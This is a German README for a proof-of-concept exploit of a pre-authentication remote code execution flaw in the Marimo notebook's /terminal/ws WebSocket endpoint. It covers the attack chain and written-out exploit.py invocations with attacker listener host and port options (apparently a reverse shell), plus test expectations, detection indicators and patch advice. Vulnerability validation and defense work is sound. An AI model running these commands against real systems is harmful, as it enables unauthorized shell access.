
Proof-of-Concept-Exploit für CVE-2026-39987, eine Pre-Authentication-RCE im Terminal-WebSocket-Endpunkt von Marimo. Demonstriert die Ausführung von Befehlen ohne Authentifizierung und enthält Validierungstests für verwundbare und gepatchte Instanzen.
| Eigenschaft | Wert |
|---|
| CVE | CVE-2026-39987 |
| Produkt | Marimo |
| Schwachstelle | Remote Code Execution vor der Authentifizierung |
| Angriffsvektor | Netzwerk |
| Authentifizierung | Nicht erforderlich |
| Benutzerinteraktion | Nicht erforderlich |
| CWE | CWE-306 — Fehlende Authentifizierung für kritische Funktion |
| Schweregrad | Kritisch |
| Behobene Version | 0.23.0 |
CVE-2026-39987 ist eine kritische Remote-Code-Execution-Schwachstelle (RCE) vor der Authentifizierung, die Marimo, eine reaktive Python-Notebook-Umgebung, betrifft. Die Schwachstelle befindet sich im Terminal-WebSocket-Endpunkt /terminal/ws.
Der anfällige Terminal-Endpunkt erstellt nach der Annahme einer WebSocket-Verbindung eine interaktive PTY.
Konzeptionell sieht der anfällige Anfrageablauf wie folgt aus:
Remote-Client
|
| WebSocket-Verbindung
v
/terminal/ws
|
| Fehlende Authentifizierungsprüfung
v
WebSocket akzeptiert
|
v
PTY erstellt
|
v
Interaktive Shell
Die wichtige Sicherheitsgrenze ist die fehlende Authentifizierungsprüfung.
Ein Endpunkt, der die Ausführung beliebiger Befehle ermöglicht, darf es einem nicht authentifizierten Client nicht gestatten, die PTY-Erstellungslogik zu erreichen.
Der Zweck dieses Projekts besteht darin, in einer kontrollierten Umgebung die fehlende Durchsetzung der Authentifizierung zu demonstrieren, die den Terminal-WebSocket-Endpunkt von Marimo betrifft.
Sicherheitsteams können das Projekt nutzen, um:
Warnung: Führen Sie den PoC nur gegen Systeme aus, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind.
Die vollständige Schwachstellenkette kann wie folgt zusammengefasst werden:
1. Angreifer entdeckt exponierte Marimo-Instanz
|
v
2. Angreifer verbindet sich mit /terminal/ws
|
v
3. Authentifizierung wird nicht durchgesetzt
|
v
4. WebSocket-Verbindung wird akzeptiert
|
v
5. PTY-Terminal wird erstellt
|
v
6. Angreifer erhält Befehlsausführung
|
v
7. Befehle werden als Marimo-Prozess ausgeführt
Der kritische Sicherheitsfehler tritt in Schritt 3 auf.
Python 3.7+
pip
Netzwerkzugriff auf das autorisierte Ziel
# Grundinstallation
pip install websocket-client
# Vollständige Installation
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <ZIEL-URL> --lhost <LOKALE-IP> --lport <PORT>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://target:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
| Parameter | Typ | Beschreibung | Standard |
|---|---|---|---|
-u, --url | string | Basis-URL der Ziel-Marimo-Instanz | Erforderlich |
--lhost | string | Listener-IP-Adresse | Erforderlich |
--lport | int | Listener-Port (1-65535) | Erforderlich |
--timeout | int | Listener-Timeout in Sekunden | 15 |
--retries | int | WebSocket-Verbindungswiederholungen | 3 |
--retry-delay | float | Verzögerung zwischen Wiederholungen | 2.0 |
--no-verify-ssl | flag | SSL-Zertifikatsprüfung deaktivieren | False |
-v, --verbose | flag | Ausführliche Ausgabe aktivieren | False |
-s, --silent | flag | Ausgabe unterdrücken | False |
Phase 1: Initialisierung
↓ Parameter validieren
↓ Protokollierung konfigurieren
Phase 2: Vorbereitung
↓ Listener initialisieren
↓ WebSocket-Verbindung herstellen
Phase 3: Validierung
↓ Terminal-Endpunkt testen
↓ Durchsetzung der Authentifizierung überprüfen
↓ Verbindungsverhalten aufzeichnen
Phase 4: Demonstration
↓ Autorisierte Testsitzung einrichten
↓ Kontext der Befehlsausführung überprüfen
↓ Validierungsnachweise sammeln
Phase 5: Bereinigung
↓ Terminalzustand wiederherstellen
↓ Verbindungen schließen
↓ Ressourcen freigeben
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
Erwartetes Ergebnis: Der anfällige Terminal-Endpunkt akzeptiert die nicht authentifizierte Verbindung.
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
Erwartetes Ergebnis: Die Verbindung wird von den Authentifizierungskontrollen abgelehnt oder anderweitig verhindert.
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
Erwartetes Ergebnis: Der Timeout wird sauber gemeldet.
Schweregrad: Kritisch (CVSS 9.3)
Komplexität: Niedrig
Authentifizierung: Keine erforderlich
Auswirkung: Remote Code Execution
Protokoll: WebSocket
Endpunkt: /terminal/ws
Behobene Version: 0.23.0
Die Quell-README klassifiziert das Problem als CVSS 9.3 Kritisch und identifiziert CWE-306, WebSocket als Protokoll und /terminal/ws als betroffenen Endpunkt.
Mögliche Indikatoren für eine Ausbeutung sind unerwartete WebSocket-Verbindungen zu:
/terminal/ws
Verteidiger sollten untersuchen:
Aktualisieren Sie Marimo auf eine behobene Version:
0.23.0 oder neuer
Zusätzliche defensive Empfehlungen umfassen:
/terminal/ws-Aktivitäten.CVE: CVE-2026-39987
CWE: CWE-306
Schweregrad: Kritisch
Typ: Pre-Authentication RCE
Protokoll: WebSocket
Endpunkt: /terminal/ws
Auth: Keine erforderlich
Behoben: 0.23.0
NUR FÜR AUTORISIERTE NUTZUNG
Dieses Projekt wird ausschließlich bereitgestellt für:
Nicht autorisierte Nutzung ist strengstens untersagt und kann geltende lokale und internationale Gesetze verletzen.
Dieses Projekt wird für Sicherheitsforschung, Schwachstellenvalidierung und Bildungszwecke bereitgestellt.
Verwenden Sie den PoC nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Autorisierung zum Testen haben.
Die Betreuer sind nicht verantwortlich für Missbrauch, nicht autorisierte Tests, Schäden, Datenverluste oder Folgen, die sich aus der Nutzung dieses Projekts ergeben.